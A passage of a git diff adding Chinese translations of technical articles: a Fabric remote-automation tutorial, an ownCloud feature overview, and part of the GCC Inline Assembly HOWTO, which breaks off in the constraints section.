apt-get install fabric +``` + +如果你要安装开发版的 Fabric,你需要安装 pip 来安装 master 分支上最新版本。 + +``` +# yum install python-pip [适用于基于 RedHat 系统] +# dnf install python-pip [适用于Fedora 22+ 版本] +# apt-get install python-pip [适用于基于 Debian 系统] +``` + +安装好 pip 后,你可以使用 pip 获取最新版本的 Fabric。 + +``` +# pip install fabric +``` + +### 如何使用 Fabric 来自动化管理 Linux 任务 + +现在我们来开始使用 Fabric,在之前的安装的过程中,Fabric Python 脚本已经被放到我们的系统目录,当我们要运行 Fabric 时输入 `fab` 命令即可。 + +#### 在本地 Linux 机器上运行命令行 + +按照惯例,先用你喜欢的编辑器创建一个名为 fabfile.py 的 Python 脚本。你可以使用其他名字来命名脚本,但是就需要指定这个脚本的路径,如下所示: + +``` +# fabric --fabfile /path/to/the/file.py +``` + +Fabric 使用 `fabfile.py` 来执行任务,这个文件应该放在你执行 Fabric 命令的目录里面。 + +**例子 1**:创建入门的 `Hello World` 任务: + +``` +# vi fabfile.py +``` + +在文件内输入如下内容: + +``` +def hello(): + print('Hello world, Tecmint community') +``` + +保存文件并执行以下命令: + +``` +# fab hello +``` + +![](http://www.tecmint.com/wp-content/uploads/2015/11/Create-Fabric-Fab-Python-File.gif) + +*Fabric 工具使用说明* + +**例子 2**:新建一个名为 fabfile.py 的文件并打开: + +粘贴以下代码至文件: + +``` +#! /usr/bin/env python +from fabric.api import local +def uptime(): + local('uptime') +``` + +保存文件并执行以下命令: + +``` +# fab uptime +``` + +![](http://www.tecmint.com/wp-content/uploads/2015/11/Fabric-Uptime.gif) + +*Fabric: 检查系统运行时间* + +让我们看看这个例子,fabfile.py 文件在本机执行了 uptime 这个命令。 + +#### 在远程 Linux 机器上运行命令来执行自动化任务 + +Fabric API 使用了一个名为 `env` 的关联数组(Python 中的词典)作为配置目录,来储存 Fabric 要控制的机器的相关信息。 + +`env.hosts` 是一个用来存储你要执行 Fabric 任务的机器的列表,如果你的 IP 地址是 192.168.0.0,想要用 Fabric 来管理地址为 192.168.0.2 和 192.168.0.6 的机器,需要的配置如下所示: + +``` +#!/usr/bin/env python +from fabric.api import env + env.hosts = [ '192.168.0.2', '192.168.0.6' ] +``` + +上面这几行代码只是声明了你要执行 Fabric 任务的主机地址,但是实际上并没有执行任何任务,下面我们就来定义一些任务。Fabric 提供了一系列可以与远程服务器交互的方法。 + +Fabric 提供了众多的方法,这里列出几个经常会用到的: + +- run - 可以在远程机器上运行的 shell 命令 +- local - 可以在本机上运行的 shell 命令 +- sudo - 使用 root 权限在远程机器上运行的 shell 命令 +- get - 从远程机器上下载一个或多个文件 +- put - 上传一个或多个文件到远程机器 + +**例子 3**:在多台机子上输出信息,新建新的 fabfile.py 文件如下所示 + +``` +#!/usr/bin/env python +from fabric.api import env, run +env.hosts = ['192.168.0.2','192.168.0.6'] +def echo(): + run("echo -n 'Hello, you are tuned to Tecmint ' ") +``` + +运行以下命令执行 Fabric 任务 + +``` +# fab echo +``` + +![](http://www.tecmint.com/wp-content/uploads/2015/11/Fabrick-Automate-Linux-Tasks.gif) + +*fabric: 自动在远程 Linux 机器上执行任务* + +**例子 4**:你可以继续改进之前创建的执行 uptime 任务的 fabfile.py 文件,让它可以在多台服务器上运行 uptime 命令,也可以检查其磁盘使用情况,如下所示: + +``` +#!/usr/bin/env python +from fabric.api import env, run +env.hosts = ['192.168.0.2','192.168.0.6'] +def uptime(): + run('uptime') +def disk_space(): + run('df -h') +``` + +保存并执行以下命令 + +``` +# fab uptime +# fab disk_space +``` + +![](http://www.tecmint.com/wp-content/uploads/2015/11/Fabric-Run-Multiple-Commands-on-Multiple-Linux-Systems.gif) + +*Fabric:自动在多台服务器上执行任务* + +#### 在远程服务器上自动化布署 LAMP + +**例子 5**:我们来尝试一下在远程服务器上布署 LAMP(Linux, Apache, MySQL/MariaDB and PHP) + +我们要写个函数在远程使用 root 权限安装 LAMP。 + +##### 在 RHEL/CentOS 或 Fedora 上 + +``` +#!/usr/bin/env python +from fabric.api import env, run +env.hosts = ['192.168.0.2','192.168.0.6'] +def deploy_lamp(): + run ("yum install -y httpd mariadb-server php php-mysql") +``` + +##### 在 Debian/Ubuntu 或 Linux Mint 上 + +``` +#!/usr/bin/env python +from fabric.api import env, run +env.hosts = ['192.168.0.2','192.168.0.6'] +def deploy_lamp(): + sudo("apt-get install -q apache2 mysql-server libapache2-mod-php5 php5-mysql") +``` + +保存并执行以下命令: + +``` +# fab deploy_lamp +``` + +注:由于安装时会输出大量信息,这个例子我们就不提供屏幕 gif 图了 + +现在你可以使用 Fabric 和上文例子所示的功能来[自动化的管理 Linux 服务器上的任务][2]了。 + +#### 一些 Fabric 有用的选项 + +- 你可以运行 `fab -help` 输出帮助信息,里面列出了所有可以使用的命令行信息 +- `–fabfile=PATH` 选项可以让你定义除了名为 fabfile.py 之外的模块 +- 如果你想用指定的用户名登录远程主机,请使用 `-user=USER` 选项 +- 如果你需要密码进行验证或者 sudo 提权,请使用 `–password=PASSWORD` 选项 +- 如果需要输出某个命令的详细信息,请使用 `–display=命令名` 选项 +- 使用 `--list` 输出所有可用的任务 +- 使用 `--list-format=FORMAT` 选项能格式化 `-list` 选项输出的信息,可选的有 short、normal、 nested +- `--config=PATH` 选项可以指定读取配置文件的地址 +- `-–colorize-errors` 能显示彩色的错误输出信息 +- `--version` 输出当前版本 + +### 总结 + +Fabric 是一个强大并且文档完备的工具,对于新手来说也能很快上手,阅读提供的文档能帮助你更好的了解它。如果你在安装和使用 Fabric 时发现什么问题可以在评论区留言,我们会及时回复。 + +参考:[Fabric 文档][3] + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/automating-linux-system-administration-tasks/ + +作者:[Aaron Kili][a] +译者:[NearTan](https://github.com/NearTan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: https://linux.cn/article-2324-1.html +[2]: http://www.tecmint.com/use-ansible-playbooks-to-automate-complex-tasks-on-multiple-linux-servers/ +[3]: http://docs.fabfile.org/en/1.4.0/usage/env.html diff --git a/published/201608/20151208 6 creative ways to use ownCloud.md b/published/201608/20151208 6 creative ways to use ownCloud.md new file mode 100644 index 0000000000..02824a4255 --- /dev/null +++ b/published/201608/20151208 6 creative ways to use ownCloud.md @@ -0,0 +1,96 @@ +ownCloud 的六大神奇用法 +================================================================================ + +![Yearbook cover 2015](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/osdc-open-source-yearbook-lead1-inc0335020sw-201511-01.png) + +(图片来源:Opensource.com) + +[ownCloud][1] 是一个自行托管的开源文件同步和共享服务器。就像“行业老大” Dropbox、Google Drive、Box 和其他的同类服务一样,ownCloud 也可以让你访问自己的文件、日历、联系人和其他数据。你可以在自己设备之间同步任意数据(或部分数据)并分享给其他人。然而,ownCloud 要比其它的商业解决方案更棒,可以[将 ownCloud 运行在自己的服务器][2]而不是其它人的服务器上。 + +现在,让我们一起来看看在 ownCloud 上的六个创造性的应用方式。其中一些是由于 ownCloud 的开源才得以完成,而另外的则是 ownCloud 自身特有的功能。 + +### 1. 可扩展的 ownCloud “派”集群 ### + +由于 ownCloud 是开源的,你可以选择将它运行在自己的服务器中,或者从你信任的服务商那里获取空间——没必要将你的文件存储在那些大公司的服务器中,谁知他们将你的文件存储到哪里去。[点击此处查看部分 ownCloud 服务商][3],或者下载该服务软件到你的虚拟主机中[搭建自己的服务器][4]. + +![](https://opensource.com/sites/default/files/images/life-uploads/banana-pi-owncloud-cluster.jpg) + +*拍摄: Jörn Friedrich Dreyer. [CC BY-SA 4.0.][5]* + +我们见过最具创意的事情就是架设[香蕉派集群][6]和[树莓派集群][7]。ownCloud 的扩展性通常用于支持成千上万的用户,但有些人则将它往不同方向发展,通过将多个微型系统集群在一起,就可以创建出运行速度超快的 ownCloud。酷毙了! + +### 2. 密码同步 ### + +为了让 ownCloud 更容易扩展,我们将它变得超级的模块化,甚至还有一个 [ownCloud 应用商店][8]。你可以在里边找到音乐和视频播放器、日历、联系人、生产力应用、游戏、应用模板(sketching app)等等。 + +从近 200 多个应用中仅挑选一个是一件非常困难的事,但密码管理则是一个很独特的功能。只有不超过三个应用提供这个功能:[Passwords][9]、[Secure Container][10] 和 [Passman][11]。 + +![](https://opensource.com/sites/default/files/images/life-uploads/password.png) + +### 3. 随心所欲地存储文件 ### + +外部存储可以让你将现有数据挂载到 ownCloud 上,让你通过一个界面来访问存储在 FTP、WebDAV、Amazon S3,甚至 Dropbox 和 Google Drive 的文件。 + +注:youtube 视频 + + +行业老大们喜欢创建自己的 “藩篱花园”,Box 的用户只能和其它的 Box 用户协作;假如你想从 Google Drive 分享你的文件,你的同伴也必须要有一个 Google 账号才可以访问的分享。通过 ownCloud 的外部存储功能,你可以轻松打破这些。 + +最有创意的就是把 Google Drive 和 Dropbox 添加为外部存储。这样你就可以无缝连接它们,通过一个简单的链接即可分享给其它人——并不需要账户。 + +### 4. 获取上传的文件 ### + +由于 ownCloud 是开源开,人们可以不受公司需求的制约而向它贡献感兴趣的功能。我们的贡献者总是很在意安全和隐私,所以 ownCloud 引入的通过密码保护公共链接并[设置失效期限][12]的功能要比其它人早很多。 + +现在,ownCloud 可以配置分享链接的读写权限了,这就是说链接的访问者可以无缝的编辑你分享给他们的文件(可以有密码保护,也可以没有),或者将文件上传到服务器前不用强制他们提供私人信息来注册服务。 + +注:youtube 视频 + + +对于有人想给你分享大体积的文件时,这个特性就非常有用了。相比于上传到第三方站点、然后给你发送一个连接、你再去下载文件(通常需要登录),ownCloud 仅需要上传文件到你提供的分享文件夹,你就可以马上获取到文件了。 + +### 5. 免费却又安全的存储空间 ### + +之前就强调过,我们的代码贡献者最关注的就是安全和隐私,这就是 ownCloud 中有用于加密和解密存储数据的应用的原因。 + +通过使用 ownCloud 将你的文件存储到 Dropbox 或者 Google Drive,则会违背夺回数据的控制权并保持数据隐私的初衷。但是加密应用则可以改变这个状况。在发送数据给这些提供商前进行数据加密,并在取回数据的时候进行解密,你的数据就会变得很安全。 + +### 6. 在你的可控范围内分享文件 ### + +作为开源项目,ownCloud 没有必要自建 “藩篱花园”。通过“联邦云共享(Federated Cloud Sharing)”:这个[由 ownCloud 开发和发布的][13]协议使不同的文件同步和共享服务器可以彼此之间进行通信,并能够安全地传输文件。联邦云共享本身来自一个有趣的事情:有 [22 所德国大学][14] 想要为自身的 50 万名学生建立一个庞大的云服务,但是每个大学都想控制自己学生的数据。于是乎,我们需要一个创造性的解决方案:也就是联邦云服务。该解决方案可以连接全部的大学,使得学生们可以无缝的协同工作。同时,每个大学的系统管理员保持着对自己学生创建的文件的控制权,并可采用自己的策略,如限制限额,或者限制什么人、什么文件以及如何共享。 + +注:youtube 视频 + + +并且,这项神奇的技术并没有限制于德国的大学之间,每个 ownCloud 用户都能在自己的用户设置中找到自己的[联邦云 ID][15],并将之分享给同伴。 + +现在你明白了吧。通过这六个方式,ownCloud 就能让人们做一些特殊而独特的事。而使这一切成为可能的,就是 ownCloud 是开源的,其设计目标就是让你的数据自由。 + +你有其它的 ownCloud 的创意用法吗?请发表评论让我们知道。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/15/12/6-creative-ways-use-owncloud + +作者:[Jos Poortvliet][a] +译者:[GHLandy](https://github.com/GHLandy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/jospoortvliet +[1]:https://owncloud.com/ +[2]:https://blogs.fsfe.org/mk/new-stickers-and-leaflets-no-cloud-and-e-mail-self-defense/ +[3]:https://owncloud.org/providers +[4]:https://owncloud.org/install/#instructions-server +[5]:https://creativecommons.org/licenses/by-sa/4.0/ +[6]:http://www.owncluster.de/ +[7]:https://christopherjcoleman.wordpress.com/2013/01/05/host-your-owncloud-on-a-raspberry-pi-cluster/ +[8]:https://apps.owncloud.com/ +[9]:https://apps.owncloud.com/content/show.php/Passwords?content=170480 +[10]:https://apps.owncloud.com/content/show.php/Secure+Container?content=167268 +[11]:https://apps.owncloud.com/content/show.php/Passman?content=166285 +[12]:https://owncloud.com/owncloud45-community/ +[13]:http://karlitschek.de/2015/08/announcing-the-draft-federated-cloud-sharing-api/ +[14]:https://owncloud.com/customer/sciebo/ +[15]:https://owncloud.org/federation/ diff --git a/published/201608/20151220 GCC-Inline-Assembly-HOWTO.md b/published/201608/20151220 GCC-Inline-Assembly-HOWTO.md new file mode 100644 index 0000000000..e89e7fa256 --- /dev/null +++ b/published/201608/20151220 GCC-Inline-Assembly-HOWTO.md @@ -0,0 +1,498 @@ +* * * + +# GCC 内联汇编 HOWTO + +v0.1, 01 March 2003. +* * * + +_本 HOWTO 文档将讲解 GCC 提供的内联汇编特性的用途和用法。对于阅读这篇文章,这里只有两个前提要求,很明显,就是 x86 汇编语言和 C 语言的基本认识。_ + +* * * + +## 1. 简介 + +### 1.1 版权许可 + +Copyright (C)2003 Sandeep S. + +本文档自由共享;你可以重新发布它,并且/或者在遵循自由软件基金会发布的 GNU 通用公共许可证下修改它;也可以是该许可证的版本 2 或者(按照你的需求)更晚的版本。 + +发布这篇文档是希望它能够帮助别人,但是没有任何担保;甚至不包括可售性和适用于任何特定目的的担保。关于更详细的信息,可以查看 GNU 通用许可证。 + +### 1.2 反馈校正 + +请将反馈和批评一起提交给 [Sandeep.S](mailto:busybox@sancharnet.in) 。我将感谢任何一个指出本文档中错误和不准确之处的人;一被告知,我会马上改正它们。 + +### 1.3 致谢 + +我对提供如此棒的特性的 GNU 人们表示真诚的感谢。感谢 Mr.Pramode C E 所做的所有帮助。感谢在 Govt Engineering College 和 Trichur 的朋友们的精神支持和合作,尤其是 Nisha Kurur 和 Sakeeb S 。 感谢在 Gvot Engineering College 和 Trichur 的老师们的合作。 + +另外,感谢 Phillip , Brennan Underwood 和 colin@nyx.net ;这里的许多东西都厚颜地直接取自他们的工作成果。 + +* * * + +## 2. 概览 + +在这里,我们将学习 GCC 内联汇编。这里内联(inline)表示的是什么呢? + +我们可以要求编译器将一个函数的代码插入到调用者代码中函数被实际调用的地方。这样的函数就是内联函数。这听起来和宏差不多?这两者确实有相似之处。 + +内联函数的优点是什么呢? + +这种内联方法可以减少函数调用开销。同时如果所有实参的值为常量,它们的已知值可以在编译期允许简化,因此并非所有的内联函数代码都需要被包含进去。代码大小的影响是不可预测的,这取决于特定的情况。为了声明一个内联函数,我们必须在函数声明中使用 `inline` 关键字。 + +现在我们正处于一个猜测内联汇编到底是什么的点上。它只不过是一些写为内联函数的汇编程序。在系统编程上,它们方便、快速并且极其有用。我们主要集中学习(GCC)内联汇编函数的基本格式和用法。为了声明内联汇编函数,我们使用 `asm` 关键词。 + +内联汇编之所以重要,主要是因为它可以操作并且使其输出通过 C 变量显示出来。正是因为此能力, "asm" 可以用作汇编指令和包含它的 C 程序之间的接口。 + +* * * + +## 3. GCC 汇编语法 + +Linux上的 GNU C 编译器 GCC ,使用 **AT&T** / **UNIX** 汇编语法。在这里,我们将使用 AT&T 语法 进行汇编编码。如果你对 AT&T 语法不熟悉的话,请不要紧张,我会教你的。AT&T 语法和 Intel 语法的差别很大。我会给出主要的区别。 + +1. 源操作数和目的操作数顺序 + + AT&T 语法的操作数方向和 Intel 语法的刚好相反。在Intel 语法中,第一操作数为目的操作数,第二操作数为源操作数,然而在 AT&T 语法中,第一操作数为源操作数,第二操作数为目的操作数。也就是说, + + Intel 语法中的 `Op-code dst src` 变为 + + AT&T 语法中的 `Op-code src dst`。 + +2. 寄存器命名 + + 寄存器名称有 `%` 前缀,即如果必须使用 `eax`,它应该用作 `%eax`。 + +3. 立即数 + + AT&T 立即数以 `$` 为前缀。静态 "C" 变量也使用 `$` 前缀。在 Intel 语法中,十六进制常量以 `h` 为后缀,然而 AT&T 不使用这种语法,这里我们给常量添加前缀 `0x`。所以,对于十六进制,我们首先看到一个 `$`,然后是 `0x`,最后才是常量。 + +4. 操作数大小 + + 在 AT&T 语法中,存储器操作数的大小取决于操作码名字的最后一个字符。操作码后缀 ’b’ 、’w’、’l’ 分别指明了字节(byte)(8位)、字(word)(16位)、长型(long)(32位)存储器引用。Intel 语法通过给存储器操作数添加 `byte ptr`、 `word ptr` 和 `dword ptr` 前缀来实现这一功能。 + + 因此,Intel的 `mov al, byte ptr foo` 在 AT&T 语法中为 `movb foo, %al`。 + +5. 存储器操作数 + + 在 Intel 语法中,基址寄存器包含在 `[` 和 `]` 中,然而在 AT&T 中,它们变为 `(` 和 `)`。另外,在 Intel 语法中, 间接内存引用为 + + `section:[base + index*scale + disp]`,在 AT&T中变为 `section:disp(base, index, scale)`。 + + 需要牢记的一点是,当一个常量用于 disp 或 scale,不能添加 `$` 前缀。 + +现在我们看到了 Intel 语法和 AT&T 语法之间的一些主要差别。我仅仅写了它们差别的一部分而已。关于更完整的信息,请参考 GNU 汇编文档。现在为了更好地理解,我们可以看一些示例。 + +``` ++------------------------------+------------------------------------+ +| Intel Code | AT&T Code | ++------------------------------+------------------------------------+ +| mov eax,1 | movl $1,%eax | +| mov ebx,0ffh | movl $0xff,%ebx | +| int 80h | int $0x80 | +| mov ebx, eax | movl %eax, %ebx | +| mov eax,[ecx] | movl (%ecx),%eax | +| mov eax,[ebx+3] | movl 3(%ebx),%eax | +| mov eax,[ebx+20h] | movl 0x20(%ebx),%eax | +| add eax,[ebx+ecx*2h] | addl (%ebx,%ecx,0x2),%eax | +| lea eax,[ebx+ecx] | leal (%ebx,%ecx),%eax | +| sub eax,[ebx+ecx*4h-20h] | subl -0x20(%ebx,%ecx,0x4),%eax | ++------------------------------+------------------------------------+ +``` +* * * + +## 4. 基本内联 + +基本内联汇编的格式非常直接了当。它的基本格式为 + +`asm("汇编代码");` + +示例 + +``` +asm("movl %ecx %eax"); /* 将 ecx 寄存器的内容移至 eax */ +__asm__("movb %bh (%eax)"); /* 将 bh 的一个字节数据 移至 eax 寄存器指向的内存 */ +``` + +你可能注意到了这里我使用了 `asm ` 和 `__asm__`。这两者都是有效的。如果关键词 `asm` 和我们程序的一些标识符冲突了,我们可以使用 `__asm__`。如果我们的指令多于一条,我们可以每个一行,并用双引号圈起,同时为每条指令添加 ’\n’ 和 ’\t’ 后缀。这是因为 gcc 将每一条当作字符串发送给 **as**(GAS)(LCTT 译注: GAS 即 GNU 汇编器),并且通过使用换行符/制表符发送正确格式化后的行给汇编器。 + +示例 + +``` +__asm__ ("movl %eax, %ebx\n\t" + "movl $56, %esi\n\t" + "movl %ecx, $label(%edx,%ebx,$4)\n\t" + "movb %ah, (%ebx)"); +``` + +如果在代码中,我们涉及到一些寄存器(即改变其内容),但在没有恢复这些变化的情况下从汇编中返回,这将会导致一些意想不到的事情。这是因为 GCC 并不知道寄存器内容的变化,这会导致问题,特别是当编译器做了某些优化。在没有告知 GCC 的情况下,它将会假设一些寄存器存储了一些值——而我们可能已经改变却没有告知 GCC——它会像什么事都没发生一样继续运行(LCTT 译注:什么事都没发生一样是指GCC不会假设寄存器装入的值是有效的,当退出改变了寄存器值的内联汇编后,寄存器的值不会保存到相应的变量或内存空间)。我们所可以做的是使用那些没有副作用的指令,或者当我们退出时恢复这些寄存器,要不就等着程序崩溃吧。这是为什么我们需要一些扩展功能,扩展汇编给我们提供了那些功能。 + +* * * + +## 5. 扩展汇编 + +在基本内联汇编中,我们只有指令。然而在扩展汇编中,我们可以同时指定操作数。它允许我们指定输入寄存器、输出寄存器以及修饰寄存器列表。GCC 不强制用户必须指定使用的寄存器。我们可以把头疼的事留给 GCC ,这可能可以更好地适应 GCC 的优化。不管怎么说,基本格式为: + +``` +asm ( 汇编程序模板 + : 输出操作数 /* 可选的 */ + : 输入操作数 /* 可选的 */ + : 修饰寄存器列表 /* 可选的 */ + ); +``` + +汇编程序模板由汇编指令组成。每一个操作数由一个操作数约束字符串所描述,其后紧接一个括弧括起的 C 表达式。冒号用于将汇编程序模板和第一个输出操作数分开,另一个(冒号)用于将最后一个输出操作数和第一个输入操作数分开(如果存在的话)。逗号用于分离每一个组内的操作数。总操作数的数目限制在 10 个,或者机器描述中的任何指令格式中的最大操作数数目,以较大者为准。 + +如果没有输出操作数但存在输入操作数,你必须将两个连续的冒号放置于输出操作数原本会放置的地方周围。 + +示例: + +``` +asm ("cld\n\t" + "rep\n\t" + "stosl" + : /* 无输出寄存器 */ + : "c" (count), "a" (fill_value), "D" (dest) + : "%ecx", "%edi" + ); +``` + +现在来看看这段代码是干什么的?以上的内联汇编是将 `fill_value` 值连续 `count` 次拷贝到寄存器 `edi` 所指位置(LCTT 译注:每执行 stosl 一次,寄存器 edi 的值会递增或递减,这取决于是否设置了 direction 标志,因此以上代码实则初始化一个内存块)。 它也告诉 gcc 寄存器 `ecx` 和 `edi` 一直无效(LCTT 译注:原文为 eax ,但代码修饰寄存器列表中为 ecx,因此这可能为作者的纰漏。)。为了更加清晰地说明,让我们再看一个示例。 + +``` +int a=10, b; +asm ("movl %1, %%eax; + movl %%eax, %0;" + :"=r"(b) /* 输出 */ + :"r"(a) /* 输入 */ + :"%eax" /* 修饰寄存器 */ + ); +``` + +这里我们所做的是使用汇编指令使 ’b’ 变量的值等于 ’a’ 变量的值。一些有意思的地方是: + +* "b" 为输出操作数,用 %0 引用,并且 "a" 为输入操作数,用 %1 引用。 +* "r" 为操作数约束。之后我们会更详细地了解约束(字符串)。目前,"r" 告诉 GCC 可以使用任一寄存器存储操作数。输出操作数约束应该有一个约束修饰符 "=" 。这修饰符表明它是一个只读的输出操作数。 +* 寄存器名字以两个 % 为前缀。这有利于 GCC 区分操作数和寄存器。操作数以一个 % 为前缀。 +* 第三个冒号之后的修饰寄存器 %eax 用于告诉 GCC %eax 的值将会在 "asm" 内部被修改,所以 GCC 将不会使用此寄存器存储任何其他值。 + +当 “asm” 执行完毕, "b" 变量会映射到更新的值,因为它被指定为输出操作数。换句话说, “asm” 内 "b" 变量的修改应该会被映射到 “asm” 外部。 + +现在,我们可以更详细地看看每一个域。 + +### 5.1 汇编程序模板 + +汇编程序模板包含了被插入到 C 程序的汇编指令集。其格式为:每条指令用双引号圈起,或者整个指令组用双引号圈起。同时每条指令应以分界符结尾。有效的分界符有换行符(`\n`)和分号(`;`)。`\n` 可以紧随一个制表符(`\t`)。我们应该都明白使用换行符或制表符的原因了吧(LCTT 译注:就是为了排版和分隔)?和 C 表达式对应的操作数使用 %0、%1 ... 等等表示。 + +### 5.2 操作数 + +C 表达式用作 “asm” 内的汇编指令操作数。每个操作数前面是以双引号圈起的操作数约束。对于输出操作数,在引号内还有一个约束修饰符,其后紧随一个用于表示操作数的 C 表达式。即,“操作数约束”(C 表达式)是一个通用格式。对于输出操作数,还有一个额外的修饰符。约束字符串主要用于决定操作数的寻址方式,同时也用于指定使用的寄存器。 + +如果我们使用的操作数多于一个,那么每一个操作数用逗号隔开。 + +在汇编程序模板中,每个操作数用数字引用。编号方式如下。如果总共有 n 个操作数(包括输入和输出操作数),那么第一个输出操作数编号为 0 ,逐项递增,并且最后一个输入操作数编号为 n - 1 。操作数的最大数目在前一节我们讲过。 + +输出操作数表达式必须为左值。输入操作数的要求不像这样严格。它们可以为表达式。扩展汇编特性常常用于编译器所不知道的机器指令 ;-)。如果输出表达式无法直接寻址(即,它是一个位域),我们的约束字符串必须给定一个寄存器。在这种情况下,GCC 将会使用该寄存器作为汇编的输出,然后存储该寄存器的内容到输出。 + +正如前面所陈述的一样,普通的输出操作数必须为只写的; GCC 将会假设指令前的操作数值是死的,并且不需要被(提前)生成。扩展汇编也支持输入-输出或者读-写操作数。 + +所以现在我们来关注一些示例。我们想要求一个数的5次方结果。为了计算该值,我们使用 `lea` 指令。 + +``` +asm ("leal (%1,%1,4), %0" + : "=r" (five_times_x) + : "r" (x) + ); +``` + +这里我们的输入为 x。我们不指定使用的寄存器。 GCC 将会选择一些输入寄存器,一个输出寄存器,来做我们预期的工作。如果我们想要输入和输出放在同一个寄存器里,我们也可以要求 GCC 这样做。这里我们使用那些读-写操作数类型。这里我们通过指定合适的约束来实现它。 + +``` +asm ("leal (%0,%0,4), %0" + : "=r" (five_times_x) + : "0" (x) + ); +``` + +现在输出和输出操作数位于同一个寄存器。但是我们无法得知是哪一个寄存器。现在假如我们也想要指定操作数所在的寄存器,这里有一种方法。 + +``` +asm ("leal (%%ecx,%%ecx,4), %%ecx" + : "=c" (x) + : "c" (x) + ); +``` + +在以上三个示例中,我们并没有在修饰寄存器列表里添加任何寄存器,为什么?在头两个示例, GCC 决定了寄存器并且它知道发生了什么改变。在最后一个示例,我们不必将 'ecx' 添加到修饰寄存器列表(LCTT 译注: 原文修饰寄存器列表这个单词拼写有错,这里已修正),gcc 知道它表示 x。因此,因为它可以知道 `ecx` 的值,它就不被当作修饰的(寄存器)了。 + +### 5.3 修饰寄存器列表 + +一些指令会破坏一些硬件寄存器内容。我们不得不在修饰寄存器中列出这些寄存器,即汇编函数内第三个 ’**:**’ 之后的域。这可以通知 gcc 我们将会自己使用和修改这些寄存器,这样 gcc 就不会假设存入这些寄存器的值是有效的。我们不用在这个列表里列出输入、输出寄存器。因为 gcc 知道 “asm” 使用了它们(因为它们被显式地指定为约束了)。如果指令隐式或显式地使用了任何其他寄存器,(并且寄存器没有出现在输出或者输出约束列表里),那么就需要在修饰寄存器列表中指定这些寄存器。 + +如果我们的指令可以修改条件码寄存器(cc),我们必须将 "cc" 添加进修饰寄存器列表。 + +如果我们的指令以不可预测的方式修改了内存,那么需要将 "memory" 添加进修饰寄存器列表。这可以使 GCC 不会在汇编指令间保持缓存于寄存器的内存值。如果被影响的内存不在汇编的输入或输出列表中,我们也必须添加 **volatile** 关键词。 + +我们可以按我们的需求多次读写修饰寄存器。参考一下模板内的多指令示例;它假设子例程 _foo 接受寄存器 `eax` 和 `ecx` 里的参数。 + +``` +asm ("movl %0,%%eax; + movl %1,%%ecx; + call _foo" + : /* no outputs */ + : "g" (from), "g" (to) + : "eax", "ecx" + ); +``` + +### 5.4 Volatile ...? + +如果你熟悉内核源码或者类似漂亮的代码,你一定见过许多声明为 `volatile` 或者 `__volatile__`的函数,其跟着一个 `asm` 或者 `__asm__`。我之前提到过关键词 `asm` 和 `__asm__`。那么什么是 `volatile` 呢? + +如果我们的汇编语句必须在我们放置它的地方执行(例如,不能为了优化而被移出循环语句),将关键词 `volatile` 放置在 asm 后面、()的前面。以防止它被移动、删除或者其他操作,我们将其声明为 `asm volatile ( ... : ... : ... : ...);` + +如果担心发生冲突,请使用 `__volatile__`。 + +如果我们的汇编只是用于一些计算并且没有任何副作用,不使用 `volatile` 关键词会更好。不使用 `volatile` 可以帮助 gcc 优化代码并使代码更漂亮。 + + +在“一些实用的诀窍”一节中,我提供了多个内联汇编函数的例子。那里我们可以了解到修饰寄存器列表的细节。 + +* * * + +## 6. 更多关于约束 + +到这个时候,你可能已经了解到约束和内联汇编有很大的关联。但我们对约束讲的还不多。约束用于表明一个操作数是否可以位于寄存器和位于哪种寄存器;操作数是否可以为一个内存引用和哪种地址;操作数是否可以为一个立即数和它可能的取值范围(即值的范围),等等。 + +### 6.1 常用约束 + +在许多约束中,只有小部分是常用的。我们来看看这些约束。 + +1. **寄存器操作数约束(r)** + + 当使用这种约束指定操作数时,它们存储在通用寄存器(GPR)中。请看下面示例: + + `asm ("movl %%eax, %0\n" :"=r"(myval));` + + 这里,变量 myval 保存在寄存器中,寄存器 eax 的值被复制到该寄存器中,并且 myval 的值从寄存器更新到了内存。当指定 "r" 约束时, gcc 可以将变量保存在任何可用的 GPR 中。要指定寄存器,你必须使用特定寄存器约束直接地指定寄存器的名字。它们为: + + ``` + +---+--------------------+ + | r | Register(s) | + +---+--------------------+ + | a | %eax, %ax, %al | + | b | %ebx, %bx, %bl | + | c | %ecx, %cx, %cl | + | d | %edx, %dx, %dl | + | S | %esi, %si | + | D | %edi, %di | + +---+--------------------+ + ``` + +2. **内存操作数约束(m)** + + 当操作数位于内存时,任何对它们的操作将直接发生在内存位置,这与寄存器约束相反,后者首先将值存储在要修改的寄存器中,然后将它写回到内存位置。但寄存器约束通常用于一个指令必须使用它们或者它们可以大大提高处理速度的地方。当需要在 “asm” 内更新一个 C 变量,而又不想使用寄存器去保存它的值,使用内存最为有效。例如,IDTR 寄存器的值存储于内存位置 loc 处: + + `asm("sidt %0\n" : :"m"(loc));` + +3. **匹配(数字)约束** + + 在某些情况下,一个变量可能既充当输入操作数,也充当输出操作数。可以通过使用匹配约束在 "asm" 中指定这种情况。 + + `asm ("incl %0" :"=a"(var):"0"(var));` + + 在操作数那一节中,我们也看到了一些类似的示例。在这个匹配约束的示例中,寄存器 "%eax" 既用作输入变量,也用作输出变量。 var 输入被读进 %eax,并且等递增后更新的 %eax 再次被存储进 var。这里的 "0" 用于指定与第 0 个输出变量相同的约束。也就是,它指定 var 输出实例应只被存储在 "%eax" 中。该约束可用于: + - 在输入从变量读取或变量修改后且修改被写回同一变量的情况 + - 在不需要将输入操作数实例和输出操作数实例分开的情况 + + 使用匹配约束最重要的意义在于它们可以有效地使用可用寄存器。 + +其他一些约束: + +1. "m" : 允许一个内存操作数,可以使用机器普遍支持的任一种地址。 +2. "o" : 允许一个内存操作数,但只有当地址是可偏移的。即,该地址加上一个小的偏移量可以得到一个有效地址。 +3. "V" : 一个不允许偏移的内存操作数。换言之,任何适合 "m" 约束而不适合 "o" 约束的操作数。 +4. "i" : 允许一个(带有常量)的立即整形操作数。这包括其值仅在汇编时期知道的符号常量。 +5. "n" : 允许一个带有已知数字的立即整形操作数。许多系统不支持汇编时期的常量,因为操作数少于一个字宽。对于此种操作数,约束应该使用 'n' 而不是'i'。 +6. "g" : 